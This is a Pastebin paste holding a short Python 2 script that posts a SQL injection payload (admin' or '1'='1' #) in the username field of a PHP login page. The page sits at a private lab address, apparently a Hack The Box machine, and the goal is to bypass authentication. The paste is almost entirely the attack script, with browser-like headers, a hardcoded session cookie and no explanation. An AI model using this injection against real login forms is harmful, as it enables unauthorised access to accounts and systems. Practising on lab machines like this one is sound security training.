Advertisement
Guest User

Untitled

a guest
Feb 4th, 2018
499
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.89 KB | None | 0 0
  1. import requests
  2.  
  3. headers = {
  4. "Host": "10.10.10.73",
  5. "Content-Length": "16",
  6. "Cache-Control": "max-age=0",
  7. "Origin": "http://10.10.10.73",
  8. "Upgrade-Insecure-Requests": "1",
  9. "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36",
  10. "Content-Type": "application/x-www-form-urlencoded",
  11. "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
  12. "Referer": "http://10.10.10.73/login.php?username=%27%20or",
  13. "Accept-Encoding": "gzip, deflate",
  14. "Accept-Language": "en-US,en;q=0.9",
  15. "Cookie": "PHPSESSID=q3ucv0veeocv7dos2hjc465p05",
  16. "Connection": "close"
  17. }
  18. url = "http://10.10.10.73/login.php"
  19. payload = """admin'+or+'1'='1'+#+admin"""
  20. parameters = {"username" : payload}
  21. password = {"password" : "souza"}
  22. r = requests.post(url, params=parameters, data=password, headers=headers)
  23. print r.text
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement